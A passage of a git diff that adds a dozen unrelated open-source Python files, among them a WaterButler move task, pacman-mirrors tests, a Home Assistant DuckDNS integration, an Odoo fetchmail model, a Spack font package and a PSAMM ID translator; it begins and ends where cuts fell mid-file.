+                          has_response=True, response_factors=response_factors, positive_response=True, factors=10,
+                          **fractions)
+    if verbose:
+        print()
+        df.show()
+    return df
+
+if __name__ == "__main__":
+    pyunit_utils.standalone_test(deeplearning_mojo)
+else:
+    deeplearning_mojo()
diff --git a/pool/shard000/Python/0008339_move.py b/pool/shard000/Python/0008339_move.py
new file mode 100644
index 0000000000000000000000000000000000000000..d25d96ab260b3017f2af8e1395e9ec026674c555
--- /dev/null
+++ b/pool/shard000/Python/0008339_move.py
@@ -0,0 +1,48 @@
+import time
+import logging
+
+from waterbutler.tasks import core
+from waterbutler.core.path import WaterButlerPath
+from waterbutler.core import utils, remote_logging
+from waterbutler.core.log_payload import LogPayload
+
+logger = logging.getLogger(__name__)
+
+
+@core.celery_task
+async def move(src_bundle, dest_bundle, request=None, start_time=None, **kwargs):
+
+    request = request or {}
+    start_time = start_time or time.time()
+
+    src_path = src_bundle.pop('path')
+    src_provider = utils.make_provider(**src_bundle.pop('provider'), is_celery_task=True)
+
+    dest_path = dest_bundle.pop('path')
+    dest_provider = utils.make_provider(**dest_bundle.pop('provider'), is_celery_task=True)
+
+    logger.info('Starting moving {!r}, {!r} to {!r}, {!r}'
+                .format(src_path, src_provider, dest_path, dest_provider))
+
+    metadata, errors = None, []
+    try:
+        metadata, created = await src_provider.move(dest_provider, src_path, dest_path, **kwargs)
+    except Exception as e:
+        logger.error('Move failed with error {!r}'.format(e))
+        errors = [e.__repr__()]
+        raise  # Ensure sentry sees this
+    else:
+        logger.info('Move succeeded')
+        dest_path = WaterButlerPath.from_metadata(metadata)
+    finally:
+        source = LogPayload(src_bundle['nid'], src_provider, path=src_path)
+        destination = LogPayload(
+            dest_bundle['nid'], dest_provider, path=dest_path, metadata=metadata
+        )
+
+        await remote_logging.wait_for_log_futures(
+            'move', source=source, destination=destination, start_time=start_time,
+            errors=errors, request=request, api_version='celery',
+        )
+
+    return metadata, created
diff --git a/pool/shard000/Python/0008345_collect_assignees.py b/pool/shard000/Python/0008345_collect_assignees.py
new file mode 100644
index 0000000000000000000000000000000000000000..054a3ce609ed9495d9f1926901c39449b8fe8993
--- /dev/null
+++ b/pool/shard000/Python/0008345_collect_assignees.py
@@ -0,0 +1,48 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import json
+from pymongo import MongoClient
+import os
+
+from launchpad_reporting.db import db
+
+from launchpad_reporting.launchpad.lpdata import LaunchpadAnonymousData
+
+lpdata = LaunchpadAnonymousData(bugs_db=db)
+connection = MongoClient()
+db = connection["assignees"]
+
+assignees = db.assignees
+
+path_to_data = "/".join(os.path.abspath(__file__).split('/')[:-1])
+with open('{0}/fuel_teams.json'.format(path_to_data)) as data_file:
+    data = json.load(data_file)
+
+teams = ["Fuel", "Partners", "mos-linux", "mos-openstack"]
+
+db.drop_collection(assignees)
+
+global_team_list = {}
+
+for team in teams:
+    people = []
+    people.extend(data[team]["teams"])
+
+    team_list = {}
+
+    for t in data[team]["teams"]:
+        team_list[t] = []
+        tt = lpdata.launchpad.people[t]
+        members = tt.members_details
+        for member in members:
+            people.append(member.member.name)
+            team_list[t].append(member.member.name)
+
+    global_team_list[team] = team_list
+    assignees.insert({"Team": "{0}".format(team),
+                      "Members": people})
+
+
+with open("file.json", "w") as f:
+    f.write(json.dumps(global_team_list))
diff --git a/pool/shard000/Python/0008349_test_inital_values.py b/pool/shard000/Python/0008349_test_inital_values.py
new file mode 100644
index 0000000000000000000000000000000000000000..1c46541935888c16704c1b837e7e1a39bf19454d
--- /dev/null
+++ b/pool/shard000/Python/0008349_test_inital_values.py
@@ -0,0 +1,118 @@
+#!/usr/bin/env python
+
+"""
+test_pacman-mirrors
+----------------------------------
+
+Tests for `pacman-mirrors` module.
+"""
+
+import unittest
+from unittest.mock import patch
+
+from pacman_mirrors.pacman_mirrors import PacmanMirrors
+
+
+class TestInitialValues(unittest.TestCase):
+    """Pacman Mirrors Test suite"""
+    def setUp(self):
+        """Setup tests"""
+        pass
+
+    @patch("os.getuid")
+    def test_initial_custom(self, mock_os_getuid):
+        """TEST: self.custom is False"""
+        mock_os_getuid.return_value = 0
+        with unittest.mock.patch("sys.argv",
+                                 ["pacman-mirrors", "f1"]):
+            app = PacmanMirrors()
+            assert app.custom is False
+
+    @patch("os.getuid")
+    def test_initial_fasttrack(self, mock_os_getuid):
+        """TEST: self.fasttrack is False"""
+        mock_os_getuid.return_value = 0
+        with unittest.mock.patch("sys.argv",
+                                 ["pacman-mirrors", "-f1"]):
+            app = PacmanMirrors()
+            assert app.fasttrack is None
+
+    @patch("os.getuid")
+    def test_initial_geoip(self, mock_os_getuid):
+        """TEST: self.geoip is False"""
+        mock_os_getuid.return_value = 0
+        with unittest.mock.patch("sys.argv",
+                                 ["pacman-mirrors", "-f1"]):
+            app = PacmanMirrors()
+            assert app.geoip is False
+
+    @patch("os.getuid")
+    def test_initial_interactive(self, mock_os_getuid):
+        """TEST: self.interactive is False"""
+        mock_os_getuid.return_value = 0
+        with unittest.mock.patch("sys.argv",
+                                 ["pacman-mirrors", "-f1"]):
+            app = PacmanMirrors()
+            assert app.interactive is False
+
+    @patch("os.getuid")
+    def test_initial_max_wait_time(self, mock_os_getuid):
+        """TEST: self.max_wait_time = 2"""
+        mock_os_getuid.return_value = 0
+        with unittest.mock.patch("sys.argv",
+                                 ["pacman-mirrors", "-f1"]):
+            app = PacmanMirrors()
+            assert app.max_wait_time == 2
+
+    @patch("os.getuid")
+    def test_initial_network(self, mock_os_getuid):
+        """TEST: self.network is True"""
+        mock_os_getuid.return_value = 0
+        with unittest.mock.patch("sys.argv",
+                                 ["pacman-mirrors", "-f1"]):
+            app = PacmanMirrors()
+            assert app.network is True
+
+    @patch("os.getuid")
+    def test_initial_nodisplay(self, mock_os_getuid):
+        """TEST: self.no_display is False"""
+        mock_os_getuid.return_value = 0
+        with unittest.mock.patch("sys.argv",
+                                 ["pacman-mirrors", "-f1"]):
+            app = PacmanMirrors()
+            assert app.no_display is False
+
+    @patch("os.getuid")
+    def test_initial_no_mirrorlist(self, mock_os_getuid):
+        """TEST: self.no_mirrorlist = False"""
+        mock_os_getuid.return_value = 0
+        with unittest.mock.patch("sys.argv",
+                                 ["pacman-mirrors", "-g"]):
+            app = PacmanMirrors()
+            assert app.no_mirrorlist is False
+
+    @patch("os.getuid")
+    def test_initial_quiet(self, mock_os_getuid):
+        """TEST: self.quiet is False"""
+        mock_os_getuid.return_value = 0
+        with unittest.mock.patch("sys.argv",
+                                 ["pacman-mirrors", "-f1"]):
+            app = PacmanMirrors()
+            assert app.quiet is False
+
+    @patch("os.getuid")
+    def test_initial_selected_countries(self, mock_os_getuid):
+        """TEST: self.selected_countries = []"""
+        mock_os_getuid.return_value = 0
+        with unittest.mock.patch("sys.argv",
+                                 ["pacman-mirrors", "-f1"]):
+            app = PacmanMirrors()
+            assert app.selected_countries == []
+
+    def tearDown(self):
+        """Tear down"""
+        pass
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/pool/shard000/Python/0008355_dummy.py b/pool/shard000/Python/0008355_dummy.py
new file mode 100644
index 0000000000000000000000000000000000000000..fb2e559abf692a58f353bdb9ad778522d82f9087
--- /dev/null
+++ b/pool/shard000/Python/0008355_dummy.py
@@ -0,0 +1,49 @@
+# Twisted Imports
+from twisted.internet import defer
+from twisted.internet.protocol import Factory
+
+# Package Imports
+from ..util import now
+from ..machine import Machine, Component, Stream, Property
+from ..protocol.basic import QueuedLineReceiver as _qlr
+
+__all__ = ["Dummy"]
+
+
+class QueuedLineReceiver (_qlr):
+
+	delimiter = "\n\r"
+	out_delimiter = "\n"
+
+	def sendLine (self, line):
+	   """
+	   Sends a line to the other end of the connection.
+
+	   @param line: The line to send, not including the delimiter.
+	   @type line: C{str}
+	   """
+	   return self.transport.write(line + self.out_delimiter)
+
+
+class Dummy (Machine):
+
+	protocolFactory = Factory.forProtocol(QueuedLineReceiver)
+	name = "Dummy Machine"
+
+	def setup (self):
+		pass
+
+	def start (self):
+		pass
+
+	def stop (self):
+		pass
+
+	def reset (self):
+		return defer.succeed('OK')
+
+	def write (self, msg):
+		return self.protocol.write(msg)
+
+	def hope (self, msg):
+		return self.protocol.write(msg, expectReply = False)
diff --git a/pool/shard000/Python/0008358_rand.py b/pool/shard000/Python/0008358_rand.py
new file mode 100644
index 0000000000000000000000000000000000000000..96f29aa65682bfd979a686a4cc0fe19de1be920f
--- /dev/null
+++ b/pool/shard000/Python/0008358_rand.py
@@ -0,0 +1,109 @@
+# tests.random
+# A visualizer that draws a random scatter plot for testing.
+#
+# Author:  Benjamin Bengfort <bbengfort@districtdatalabs.com>
+# Created: Wed Mar 21 17:51:15 2018 -0400
+#
+# ID: rand.py [cc69b3c] davidwaterman@gmail.com $
+
+"""
+A visualizer that draws a random scatter plot for testing.
+"""
+
+##########################################################################
+## Imports
+##########################################################################
+
+import numpy as np
+
+from yellowbrick.base import Visualizer
+from yellowbrick.style import resolve_colors
+
+from sklearn.datasets import make_blobs
+
+
+##########################################################################
+## Random Visualizer
+##########################################################################
+
+
+class RandomVisualizer(Visualizer):
+    """
+    Creates random scatter plots as a testing utility.
+
+    Data generation uses scikit-learn make_blobs to create scatter plots that
+    have reasonable visual features and multiple colors.
+
+    Parameters
+    ----------
+    ax : matplotlib Axes, default: None
+        The axis to plot the figure on. If None is passed in the current axes
+        will be used (or generated if required).
+
+    n_samples : int, default: 100
+        The number of points to generate for the scatter plot
+
+    n_blobs : int or array of shape [n_centers, 2]
+        Define the number of blobs to create or specify their centers.
+
+    random_state : int, RandomState or None:
+        Used to specify the seed of the random state to ensure tests work.
+    """
+
+    def __init__(self, ax=None, n_samples=100, n_blobs=3, random_state=None, **kwargs):
+
+        super(RandomVisualizer, self).__init__(ax=ax, **kwargs)
+        if isinstance(random_state, (int, float)) or random_state is None:
+            random_state = np.random.RandomState(random_state)
+
+        self.n_samples = n_samples
+        self.n_blobs = n_blobs
+        self.random_state = random_state
+
+    def generate(self):
+        """
+        Returns random data according to the visualizer specification.
+
+        Returns
+        -------
+        X : array of shape [n_samples, 2]
+            2 dimensional array of points to plot
+
+        y : vector with length n_samples
+            Center/blob each point belongs to (used for color)
+        """
+        return make_blobs(
+            n_samples=self.n_samples, n_features=2, centers=self.n_blobs, random_state=self.random_state
+        )
+
+    def fit(self, *args, **kwargs):
+        X, c = self.generate()
+
+        x = X[:, 0]
+        y = X[:, 1]
+
+        self.draw(x, y, c)
+        return self
+
+    def draw(self, x, y, c):
+        colors = resolve_colors(self.n_blobs)
+
+        for i in np.arange(self.n_blobs):
+            mask = c == i
+            label = "c{}".format(i)
+            self.ax.scatter(x[mask], y[mask], label=label, c=colors[i])
+
+        return self.ax
+
+    def finalize(self):
+        self.ax.legend(frameon=True)
+        self.ax.set_ylabel("$y$")
+        self.ax.set_xlabel("$x$")
+        self.ax.set_title("Random Scatter Plot")
+        return self.ax
+
+
+if __name__ == "__main__":
+    r = RandomVisualizer()
+    r.fit()
+    r.show(outpath="test.png")
diff --git a/pool/shard000/Python/0008363_fetchmailserverfolder.py b/pool/shard000/Python/0008363_fetchmailserverfolder.py
new file mode 100644
index 0000000000000000000000000000000000000000..cfcc4b7a3da32ed4d5973cd5cee9705a29d6e756
--- /dev/null
+++ b/pool/shard000/Python/0008363_fetchmailserverfolder.py
@@ -0,0 +1,102 @@
+# -*- coding: utf-8 -*-
+# © 2016 ClearCorp
+# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).
+
+from openerp import api, models, fields
+from .. import match_algorithm
+
+
+class FetchmailServerFolder(models.Model):
+    _name = 'fetchmail.server.folder'
+    _rec_name = 'path'
+    _order = 'sequence'
+
+    def _get_match_algorithms(self):
+        def get_all_subclasses(cls):
+            return (cls.__subclasses__() +
+                    [subsub
+                     for sub in cls.__subclasses__()
+                     for subsub in get_all_subclasses(sub)])
+
+        return dict([(cls.__name__, cls)
+                     for cls in get_all_subclasses(
+                match_algorithm.base.Base)])
+
+    def _get_match_algorithms_sel(self):
+        algorithms = []
+        for cls in self._get_match_algorithms().itervalues():
+            algorithms.append((cls.__name__, cls.name))
+        algorithms.sort()
+        return algorithms
+
+    sequence = fields.Integer('Sequence')
+    path = fields.Char(
+        'Path',
+        help="The path to your mail folder. Typically would be something like "
+             "'INBOX.myfolder'", required=True)
+    model_id = fields.Many2one(
+        'ir.model', 'Model', required=True,
+        help='The model to attach emails to')
+    model_field = fields.Char(
+        'Field (model)',
+        help='The field in your model that contains the field to match '
+             'against.\n'
+             'Examples:\n'
+             "'email' if your model is res.partner, or "
+             "'partner_id.email' if you're matching sale orders")
+    model_order = fields.Char(
+        'Order (model)',
+        help='Field(s) to order by, this mostly useful in conjunction '
+             "with 'Use 1st match'")
+    match_algorithm = fields.Selection(
+        _get_match_algorithms_sel,
+        'Match algorithm', required=True,
+        help='The algorithm used to determine which object an email matches.')
+    mail_field = fields.Char(
+        'Field (email)',
+        help='The field in the email used for matching. Typically '
+             "this is 'to' or 'from'")
+    server_id = fields.Many2one('fetchmail.server', 'Server')
+    delete_matching = fields.Boolean(
+        'Delete matches',
+        help='Delete matched emails from server')
+    flag_nonmatching = fields.Boolean(
+        'Flag nonmatching',
+        help="Flag emails in the server that don't match any object in Odoo")
+    match_first = fields.Boolean(
+        'Use 1st match',
+        help='If there are multiple matches, use the first one. If '
+             'not checked, multiple matches count as no match at all')
+    domain = fields.Char(
+        'Domain',
+        help='Fill in a search filter to narrow down objects to match')
+    msg_state = fields.Selection(
+        [
+            ('sent', 'Sent'),
+            ('received', 'Received'),
+        ],
+        'Message state',
+        help='The state messages fetched from this folder should be '
+             'assigned in Odoo')
+    active = fields.Boolean('Active')
+
+    _defaults = {
+        'flag_nonmatching': True,
+        'msg_state': 'received',
+        'active': True,
+    }
+
+    @api.multi
+    def get_algorithm(self):
+        return self._get_match_algorithms()[self.match_algorithm]()
+
+    @api.multi
+    def button_attach_mail_manually(self):
+        return {
+            'type': 'ir.actions.act_window',
+            'res_model': 'fetchmail.attach.mail.manually',
+            'target': 'new',
+            'context': dict(self.env.context, default_folder_id=self.id),
+            'view_type': 'form',
+            'view_mode': 'form',
+        }
diff --git a/pool/shard000/Python/0008368_test_vhdutil.py b/pool/shard000/Python/0008368_test_vhdutil.py
new file mode 100644
index 0000000000000000000000000000000000000000..eecbe70c26497491cc1b92b1c3c54965737ef187
--- /dev/null
+++ b/pool/shard000/Python/0008368_test_vhdutil.py
@@ -0,0 +1,38 @@
+import unittest
+import mock
+
+import SR
+import vhdutil
+import xs_errors
+import testlib
+
+MAX_VHD_SIZE = 2093050 * 1024 * 1024
+
+class TestVhdUtil(unittest.TestCase):
+
+    def test_validate_and_round_min_size(self):
+        size = vhdutil.validate_and_round_vhd_size(2 * 1024 * 1024)
+
+        self.assertTrue(size == 2 * 1024 * 1024)
+
+    def test_validate_and_round_max_size(self):
+        size = vhdutil.validate_and_round_vhd_size(MAX_VHD_SIZE)
+
+        self.assertTrue(size == MAX_VHD_SIZE)
+
+    def test_validate_and_round_odd_size_up_to_next_boundary(self):
+        size = vhdutil.validate_and_round_vhd_size(MAX_VHD_SIZE - 1)
+
+        self.assertTrue(size == MAX_VHD_SIZE)
+
+    @testlib.with_context
+    def test_validate_and_round_negative(self, context):
+        context.setup_error_codes()
+        with self.assertRaises(SR.SROSError):
+            vhdutil.validate_and_round_vhd_size(-1)
+
+    @testlib.with_context
+    def test_validate_and_round_too_large(self, context):
+        context.setup_error_codes()
+        with self.assertRaises(SR.SROSError):
+            vhdutil.validate_and_round_vhd_size(MAX_VHD_SIZE + 1)
diff --git a/pool/shard000/Python/0008369_FieldHandler.py b/pool/shard000/Python/0008369_FieldHandler.py
new file mode 100644
index 0000000000000000000000000000000000000000..33fcc7bd3ffd5cb616e01f45257bb48572907548
--- /dev/null
+++ b/pool/shard000/Python/0008369_FieldHandler.py
@@ -0,0 +1,111 @@
+from abc import ABCMeta, abstractmethod
+
+class FieldHanlder(object):
+    '''Defines how to treat a field within the text source'''
+    __metaclass__ = ABCMeta
+
+
+    def __init__(self, text_name):
+        '''Init
+
+        @param text_property_name: Name of the field in the text file
+        @param case_sensitive: Is text_name case sensitive
+        '''
+        self.__match_text_name = text_name
+        self.__text_name_case_sensitive = False
+        self.__identifies_obj = False
+        self.__required = False
+
+
+    @property
+    def is_unique_id(self):
+        '''Does this this field value unqiuely identify the object'''
+        return self.__identifies_obj
+
+
+    @property
+    def is_required(self):
+        '''Is this field required to have a value on every text object?'''
+        return self.__required
+
+
+    def matches_text_name(self, text_name):
+        '''Check to see if the give text name matches this field handler
+
+        @param text_name: Name of the field from the text source
+        '''
+        if self.__text_name_case_sensitive:
+            return text_name == self.__match_text_name
+
+        text_name = text_name.lower()
+        my_name = self.__match_text_name.lower()
+        return text_name == my_name
+
+
+    # -- Fluid Interface ------------------------------------------------------
+
+    def identifies_obj(self):
+        '''Note that this field can be used to unqiuely identify the object'''
+        self.__identifies_obj = True
+        self.required()
+        return self
+
+
+    def required(self):
+        self.__required = True
+        return self
+
+
+    def case_sesitive(self):
+        '''Mark the text_name as case sensitive'''
+        self.__text_name_case_sensitive = True
+        return self
+
+
+    # -- Value Handling -------------------------------------------------------
+
+    # Single values are the basic fields where the value is a single value
+    # that needs to be stored.
+    # Parser should:
+    #  1) Call convert_parsed_value()
+    #  2) Save the parsed value to the field value
+    SAVE_SINGLE_VALUE = 'SAVE_SINGLE_VALUE'
+
+
+    # List of values to be interpreted.
+    # Parser should:
+    #  1) Call convert_parsed_value() on each individual item
+    #  2) Save the parsed values as a list to the field value
+    SAVE_LIST_ITEMS = 'SAVE_LIST_ITEMS'
+
+    @abstractmethod
+    def handling_code(self):
+        '''Tell parser what to do with this field when it is being parsed
+
+        This method must return one of the class constants which instructs
+        the parser how to handle the value.  This is used primarily to help
+        the parser know if it's parsing a field value, a sub object, or a
+        collection value.
+
+        @return str: Class constant
+        '''
+
+
+    @abstractmethod
+    def valdiate(self, value):
+        '''Check the validity of the value store in the field
+
+        @return str: None if no errors, else string error description
+        '''
+
+
+    def convert_parsed_value(self, parsed_value):
+        '''Take the value parsed from the text file and encode value for field
+
+        @param parsed_value: Value parsed from text source.  Typically str.
+        @return: Value to save as field value
+        '''
+        return parsed_value
+
+
+
diff --git a/pool/shard000/Python/0008373_init__.py b/pool/shard000/Python/0008373_init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..2271b107b364454e9cab7876715b7b9c3265052f
--- /dev/null
+++ b/pool/shard000/Python/0008373_init__.py
@@ -0,0 +1,127 @@
+"""Integrate with DuckDNS."""
+from datetime import timedelta
+import logging
+
+import voluptuous as vol
+
+from homeassistant.const import CONF_ACCESS_TOKEN, CONF_DOMAIN
+from homeassistant.core import CALLBACK_TYPE, callback
+from homeassistant.helpers.aiohttp_client import async_get_clientsession
+import homeassistant.helpers.config_validation as cv
+from homeassistant.helpers.event import async_call_later
+from homeassistant.loader import bind_hass
+from homeassistant.util import dt as dt_util
+
+_LOGGER = logging.getLogger(__name__)
+
+ATTR_TXT = "txt"
+
+DOMAIN = "duckdns"
+
+INTERVAL = timedelta(minutes=5)
+
+SERVICE_SET_TXT = "set_txt"
+
+UPDATE_URL = "https://www.duckdns.org/update"
+
+CONFIG_SCHEMA = vol.Schema(
+    {
+        DOMAIN: vol.Schema(
+            {
+                vol.Required(CONF_DOMAIN): cv.string,
+                vol.Required(CONF_ACCESS_TOKEN): cv.string,
+            }
+        )
+    },
+    extra=vol.ALLOW_EXTRA,
+)
+
+SERVICE_TXT_SCHEMA = vol.Schema({vol.Required(ATTR_TXT): vol.Any(None, cv.string)})
+
+
+async def async_setup(hass, config):
+    """Initialize the DuckDNS component."""
+    domain = config[DOMAIN][CONF_DOMAIN]
+    token = config[DOMAIN][CONF_ACCESS_TOKEN]
+    session = async_get_clientsession(hass)
+
+    async def update_domain_interval(_now):
+        """Update the DuckDNS entry."""
+        return await _update_duckdns(session, domain, token)
+
+    intervals = (
+        INTERVAL,
+        timedelta(minutes=1),
+        timedelta(minutes=5),
+        timedelta(minutes=15),
+        timedelta(minutes=30),
+    )
+    async_track_time_interval_backoff(hass, update_domain_interval, intervals)
+
+    async def update_domain_service(call):
+        """Update the DuckDNS entry."""
+        await _update_duckdns(session, domain, token, txt=call.data[ATTR_TXT])
+
+    hass.services.async_register(
+        DOMAIN, SERVICE_SET_TXT, update_domain_service, schema=SERVICE_TXT_SCHEMA
+    )
+
+    return True
+
+
+_SENTINEL = object()
+
+
+async def _update_duckdns(session, domain, token, *, txt=_SENTINEL, clear=False):
+    """Update DuckDNS."""
+    params = {"domains": domain, "token": token}
+
+    if txt is not _SENTINEL:
+        if txt is None:
+            # Pass in empty txt value to indicate it's clearing txt record
+            params["txt"] = ""
+            clear = True
+        else:
+            params["txt"] = txt
+
+    if clear:
+        params["clear"] = "true"
+
+    resp = await session.get(UPDATE_URL, params=params)
+    body = await resp.text()
+
+    if body != "OK":
+        _LOGGER.warning("Updating DuckDNS domain failed: %s", domain)
+        return False
+
+    return True
+
+
+@callback
+@bind_hass
+def async_track_time_interval_backoff(hass, action, intervals) -> CALLBACK_TYPE:
+    """Add a listener that fires repetitively at every timedelta interval."""
+    if not isinstance(intervals, (list, tuple)):
+        intervals = (intervals,)
+    remove = None
+    failed = 0
+
+    async def interval_listener(now):
+        """Handle elapsed intervals with backoff."""
+        nonlocal failed, remove
+        try:
+            failed += 1
+            if await action(now):
+                failed = 0
+        finally:
+            delay = intervals[failed] if failed < len(intervals) else intervals[-1]
+            remove = async_call_later(hass, delay.total_seconds(), interval_listener)
+
+    hass.async_run_job(interval_listener, dt_util.utcnow())
+
+    def remove_listener():
+        """Remove interval listener."""
+        if remove:
+            remove()  # pylint: disable=not-callable
+
+    return remove_listener
diff --git a/pool/shard000/Python/0008374_package.py b/pool/shard000/Python/0008374_package.py
new file mode 100644
index 0000000000000000000000000000000000000000..f44596b88224a42b2364b8283a8d334dfa344a86
--- /dev/null
+++ b/pool/shard000/Python/0008374_package.py
@@ -0,0 +1,53 @@
+##############################################################################
+# Copyright (c) 2013-2017, Lawrence Livermore National Security, LLC.
+# Produced at the Lawrence Livermore National Laboratory.
+#
+# This file is part of Spack.
+# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved.
+# LLNL-CODE-647188
+#
+# For details, see https://github.com/spack/spack
+# Please also see the NOTICE and LICENSE files for our notice and the LGPL.
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License (as
+# published by the Free Software Foundation) version 2.1, February 1999.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the terms and
+# conditions of the GNU Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public
+# License along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+##############################################################################
+from spack import *
+
+
+class FontBhLucidatypewriter75dpi(Package):
+    """X.org bh-lucidatypewriter-75dpi font."""
+
+    homepage = "http://cgit.freedesktop.org/xorg/font/bh-lucidatypewriter-75dpi"
+    url      = "https://www.x.org/archive/individual/font/font-bh-lucidatypewriter-75dpi-1.0.3.tar.gz"
+
+    version('1.0.3', 'cab8a44ae329aab7141c7adeef0daf5a')
+
+    depends_on('font-util')
+
+    depends_on('fontconfig', type='build')
+    depends_on('mkfontdir', type='build')
+    depends_on('bdftopcf', type='build')
+    depends_on('pkg-config@0.9.0:', type='build')
+    depends_on('util-macros', type='build')
+
+    def install(self, spec, prefix):
+        configure('--prefix={0}'.format(prefix))
+
+        make()
+        make('install')
+
+        # `make install` copies the files to the font-util installation.
+        # Create a fake directory to convince Spack that we actually
+        # installed something.
+        mkdir(prefix.lib)
diff --git a/pool/shard000/Python/0008376_translate_id.py b/pool/shard000/Python/0008376_translate_id.py
new file mode 100644
index 0000000000000000000000000000000000000000..6af7cf9acf4f42262bf6daec98c6856d39da570d
--- /dev/null
+++ b/pool/shard000/Python/0008376_translate_id.py
@@ -0,0 +1,210 @@
+# This file is part of PSAMM.
+#
+# PSAMM is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# PSAMM is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with PSAMM.  If not, see <http://www.gnu.org/licenses/>.
+#
+# Copyright 2014-2015  Jon Lund Steffensen <jon_steffensen@uri.edu>
+# Copyright 2018-2020  Jing Wang <wjingsjtu@gmail.com>
+
+from __future__ import print_function
+from __future__ import division
+from __future__ import absolute_import
+from builtins import open
+from builtins import super
+import csv
+import logging
+from psamm.datasource.native import NativeModel
+from psamm.importer import write_yaml_model
+from psamm.util import mkdir_p
+from future import standard_library
+standard_library.install_aliases()  # noqa
+
+
+def read_mapping(mapping):
+    with open(mapping) as mapping_file:
+        mapping_id = {}
+        for row in csv.reader(mapping_file, delimiter='\t'):
+            if row[1] == '':
+                continue
+            else:
+                mapping_id[row[0]] = row[1]
+    return(mapping_id)
+
+
+def translate_id(id, mapping):
+    if id not in list(mapping):
+        return id
+    return mapping[id]
+
+
+class TranslatedModel(NativeModel):
+    """A :class:`NativeModel` with translated ids based on reference model.
+
+    The compound_map, reaction_map and compartment_map are three `dict`
+    that use original id as key and new id as value.
+    Use :meth:`.write_model` to output yaml files.
+    """
+
+    def __init__(self, ref_model,
+                 compound_map, reaction_map, compartment_map=None):
+        super().__init__()
+        self._cpd_mapping_id = compound_map
+        self._rxn_mapping_id = reaction_map
+        if compartment_map is None:
+            self._compartment_mapping_id = dict()
+        else:
+            self._compartment_mapping_id = compartment_map
+
+        # initial a logger
+        self._logger = logging.getLogger(__name__)
+
+        # inherit properties
+        self._properties = ref_model._properties
+        self.version_string = 'model mapped from: %s' % self.version_string
+        self.biomass_reaction = translate_id(
+            ref_model.biomass_reaction, self.rxn_mapping_id)
+
+        # translate ids
+        self._translate_compartment(ref_model)
+        self._translate_compounds(ref_model)
+        self._translate_reactions(ref_model)
+        self._translate_exchange(ref_model)
+        self._translate_limits(ref_model)
+
+    @property
+    def compartment_mapping_id(self):
+        return self._compartment_mapping_id
+
+    @property
+    def cpd_mapping_id(self):
+        return self._cpd_mapping_id
+
+    @property
+    def rxn_mapping_id(self):
+        return self._rxn_mapping_id
+
+    def _translate_compartment(self, ref_model):
+        """Translate compartment ids."""
+        # change compartments
+        for comp in ref_model.compartments:
+            new_id = translate_id(comp.id, self.compartment_mapping_id)
+            comp.properties['id'] = new_id
+            comp.properties['original_id'] = [comp.id]
+            comp = comp.__class__(comp.properties, filemark=comp.filemark)
+            self.compartments.add_entry(comp)
+        # change comparment_boundaries
+        for c1, c2 in ref_model.compartment_boundaries:
+            c1 = translate_id(c1, self.compartment_mapping_id)
+            c2 = translate_id(c2, self.compartment_mapping_id)
+            self.compartment_boundaries.add((c1, c2))
+        self.extracellular_compartment = translate_id(
+            ref_model.extracellular_compartment, self.compartment_mapping_id)
+
+    def _translate_compounds(self, ref_model):
+        """Translate compound ids and corresponding exchange reactions."""
+        for cpd in ref_model.compounds:
+            new_id = translate_id(cpd.id, self.cpd_mapping_id)
+            if new_id not in self.compounds:  # do not duplicate compounds
+                cpd.properties['id'] = new_id
+                cpd.properties['original_id'] = [cpd.id]
+                # refresh with changed properties
+                cpd = cpd.__class__(cpd.properties, filemark=cpd.filemark)
+                self.compounds.add_entry(cpd)
+            else:
+                self.compounds[new_id].properties['original_id'].append(cpd.id)
+                self._logger.warning(
+                    'Multiple compounds: %s will be translated to %s',
+                    self.compounds[new_id].properties['original_id'],
+                    new_id)
+
+    def _compound_trans(self, id):
+        """Make a directly callable method for compound.translate()"""
+        return translate_id(id, self.cpd_mapping_id)
+
+    def _translate_reactions(self, ref_model):
+        """Translate reaction ids and equations."""
+
+        for rxn in ref_model.reactions:
+            new_id = translate_id(rxn.id, self.rxn_mapping_id)
+            if new_id not in self.reactions:  # do not duplicate reactions
+                rxn.properties['id'] = new_id
+                rxn.properties['original_id'] = rxn.id
+                compounds = list()
+                for cpd, v in rxn.equation.compounds:
+                    cpd = cpd.translate(self._compound_trans)
+                    cpd = cpd.in_compartment(
+                        translate_id(cpd.compartment,
+                                     self.compartment_mapping_id)
+                    )
+                    compounds.append((cpd, v))
+                rxn.equation = rxn.equation.__class__(
+                    rxn.equation.direction, compounds
+                )
+                # test whether the same compound occurs at both sides
+                compound_left = set((c for c, _ in rxn.equation.left))
+                compound_right = set((c for c, _ in rxn.equation.right))
+                compound_common = compound_left.intersection(compound_right)
+                if len(compound_common) > 0:
+                    self._logger.error((
+                        'Reaction %s will have '
+                        'the same compounds %s on both sides: %s'),
+                        rxn.id, compound_common, rxn.equation)
+                # refresh with changed properties
+                rxn = rxn.__class__(rxn.properties, filemark=rxn.filemark)
+                self.reactions.add_entry(rxn)
+            else:
+                self._logger.error(
+                    ('Reaction %s is omitted because its new id %s has been '
+                     'assigned to %s'),
+                    rxn.id,
+                    new_id,
+                    self.reactions[new_id].properties['original_id'])
+
+    def _translate_exchange(self, ref_model):
+        """Translate exchange reactions."""
+        # cpd is :class:`Compound(name, compartment)`
+        for cpd in ref_model.exchange:
+            new_cpd = cpd.translate(self._compound_trans)
+            new_cpd = new_cpd.in_compartment(self.extracellular_compartment)
+            if new_cpd not in self.exchange:  # do not duplicate exchange
+                lower, upper = ref_model.exchange[cpd][2:]
+                name = 'EX_%s(%s)' % (new_cpd.name,
+                                      self.extracellular_compartment)
